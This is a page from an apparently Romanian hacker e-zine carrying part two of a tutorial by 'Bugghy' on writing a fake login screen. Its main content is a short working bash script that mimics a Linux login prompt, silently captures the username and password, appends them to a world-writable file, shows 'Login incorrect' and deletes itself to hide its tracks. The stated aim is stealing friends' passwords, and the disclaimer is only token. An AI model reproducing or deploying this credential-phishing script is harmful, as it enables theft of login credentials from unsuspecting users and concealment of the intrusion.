http://pc-dojo.ro

Index | Banner Xchange | Forum | Chat | E-zine | Competitie | E-mail | Tzoale | Bani | Despre

Competitie:

Login:

Parola:

User: Neautentificat.
User nou?

 

 free @pc-dojo.ro

Email Login

Parola

Utilizatori noi
sign up!

detalii...

 Va multumim pentru eventualul vot pe care ni-l puteti acorda cu un singur click :
Vot in Romanian TOP 100
Aduti si tu contributia la dezvoltarea pc-dojo. Un vot inseamna un sustinator, o persoana care este de acord cu noi, un motiv suplimentar de mentinere pc-dojo pe net-ul romanesc.


Tzoale de hackeri:







Website Owners:
Start making real money on a pay per click basis.
10 cents!

 


Bride.Ru

Codin` skillz (2)

de bugghy

/---------------\
| Codin` skillz |
\---------------/
v1.0a
Part two

Written by: Bugghy
E-mail: bugghy@home.ro
URL: www.bugghy.home.ro

Comments/errors/bugs/jokes > bugghy@home.ro

CONTENTS
=====================================

1. Introduction
2. Theory
3. CODE 2
4. Problems as they appear
5. Link of the day
6. Last words

=====================================

1. Introduction
===============

After the 1st series where you learned to make a fake su program
to sneak some passes from friends, now you'll learn to make a fake login screen
:) guess for what :)

2. Theory
=========

Same as the su program but we add some new code. Learn BASH btw.

3. CODE 2
=========

----------su.c----------
#!/bin/sh
# Note:
# 1) /home/bugghy/.pass must be world writable
# 2) path must have "." before "/bin"

# First we load the "login" screen
cat /etc/issue
# Second we type the login prompt
echo -n "$HOSTNAME login: " # $HOSTNAME si an environment var
# Third we read the user to a variable
read USER
# Fourth we type the password prompt
echo -n "Password: "
# Fifth we read the password to a variable # why do I number them?
read -s PASS
sleep 3 # 3 seconds pause
echo ""
# Are we correct?
echo "Login incorrect"
echo ""
# The reward ...
echo " $USER has pass: $PASS" >> /home/bugghy/.pass
# We delete tracks
rm -f login
----------su.c----------

4. Problems as they appear
==========================

Good points:
Gets the passes.
Experiment with it, change some things, make it look like the real su.

Bad points:
Needs heavy adjustment for your system.
Easily noticed, try running the existing login first.
Needs some colaboration from the target.

5. Link of the day
==================

Another wargame: game1.vmatrics.net:23 (mail bugghy@home.ro for account)

6. Last words
=============

Make some other fake programs. Hope this helps ...

If you wanna clarify some misunderstandings in the text, add something,
bugs/comments/... mail bugghy@home.ro

THE USUAL DISCLAIMER:
---------------------
This file is for [of course] informational purposes only. I
don't take responsibility for anything anyone does after reading this file.

Gr33tz:
vMatriCS.nET , anyone that helped me (they know who they are)



Toate drepturile rezervate © www.pc-dojo.ro
Reproducerea permisa doar insotita de acordul autorului sau al site-ului


Arhiva | Adauga un articol | Despre e-zine









Stiri:
  • Forumul pc-dojo si-a mutat locatia, aspectul si rubricile. Daca linkul din site catre forum va duce tot catre vechiul forum dati cateva refreshuri pe http://forum.pc-dojo.ro si ar trebui sa mearga... de obicei dureaza cam 24 de ore pana se propaga update-urile de dns.
    Adaugata de body00, c0der.

  • Forumul pc-dojo si-a mutat locatia, aspectul si rubricile. Daca linkul din site catre forum va duce tot catre vechiul forum dati cateva refreshuri pe http://forum.pc-dojo.ro si ar trebui sa mearga... de obicei dureaza cam 24 de ore pana se propaga update-urile de dns.
    Adaugata de body00, c0der.

  • Forumul pc-dojo si-a mutat locatia, aspectul si rubricile. Daca linkul din site catre forum va duce tot catre vechiul forum dati cateva refreshuri pe http://forum.pc-dojo.ro si ar trebui sa mearga... de obicei dureaza cam 24 de ore pana se propaga update-urile de dns.
    Adaugata de body00, c0der.

  • (propune stire)






    Ustensile gratuite pentru web-site-ul dvs:


    Motor de cautare complex:

    TotalTOP.ro - Topul celor mai bune site-uri romanesti - Votati acest site!!!


    ©2002 - 2004 pc-dojo.ro contact: admin@pc-dojo.ro